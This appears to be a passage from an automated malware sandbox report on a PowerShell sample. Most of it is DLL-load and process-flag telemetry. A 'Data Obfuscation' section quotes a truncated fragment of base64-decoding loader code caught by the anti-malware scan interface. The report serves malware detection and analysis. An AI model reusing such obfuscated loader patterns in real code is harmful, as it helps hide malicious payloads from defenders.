Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000002.00000002.1953677689.000002185E987000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbt source: powershell.exe, 00000002.00000002.1947298861.000002185E6F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xeem.pdbpdbtem.pdb source: powershell.exe, 00000002.00000002.1947298861.000002185E6C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbb source: powershell.exe, 00000002.00000002.1953677689.000002185E946000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xedll\System.pdbi. source: powershell.exe, 00000002.00000002.1947298861.000002185E6C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000002.00000002.1953677689.000002185E946000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1953677689.000002185E987000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.1953677689.000002185E8ED000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($lqtZtZUSntqBUJAlWmOZrrJtyA)) $blW = "usradm" if ($HpFSCG.Contains($blW)) { try { $SZhFjFnvaiZayFTDR = "jxUsFlxjvoyBQDcl.ps1" $L
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($lqtZtZUSntqBUJAlWmOZrrJtyA)) $blW = "usradm" if ($HpFSCG.Contains($blW)) { try { $SZhFjFnvaiZayFTDR = "jxUsFlxjvoyBQDcl.ps1" $L

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B80752B push ebx; iretd	0_2_00007FFD9B80756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B6DD2A5 pushad ; iretd	2_2_00007FFD9B6DD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B7F0B5D push eax; iretd	2_2_00007FFD9B7F0D39
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B996DFE push ds; iretd	2_2_00007FFD9B996DFF

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
